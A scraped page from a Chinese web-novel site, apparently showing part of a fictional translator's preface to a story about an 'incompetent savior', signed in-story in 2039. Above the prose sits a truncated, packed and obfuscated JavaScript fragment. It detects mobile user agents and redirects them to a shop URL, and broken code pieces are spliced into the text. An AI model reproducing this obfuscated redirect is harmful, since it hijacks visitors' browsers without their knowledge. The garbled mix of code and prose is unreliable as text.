返回

救世主她一直在愤怒

首页

3. 译者序1(2/2)

)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978030|193542||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    为一座桥梁,连接两个遥远的世界。

    在翻译的后期,我曾与一些出版商接触,向他们讲述梅根女士的故事。起初,他们对这个来自遥远星系的“无能救世主”的故事感到疑惑。但是,当我向他们详细介绍了故事的内涵和意义,并分享了我翻译的部分章节后,他们都被深深打动了。

    我深知我的翻译可能无法完美地还原原文的所有细节和韵味,但我已经倾尽了我的热情和努力。我希望这个来自遥远星系的故事,能够在蓝色星球生根发芽,并最终触动更多人的心灵——就如同梅根女士所希望的那样。

    如今,这部《无能救世主札记》的译本终于得以在我的祖国出版。我的心中充满了忐忑和期待。我希望、读者能够喜欢这个故事,能够被西西弗斯的故事所打动。或许我的翻译仍然存在不足,但我已经尽了最大的努力。我衷心希望,这个来自遥远星系的史诗,能够为我们的读者带来一份独特的感动和思考。

    乔伊斯·希弗朗,于公历2039年初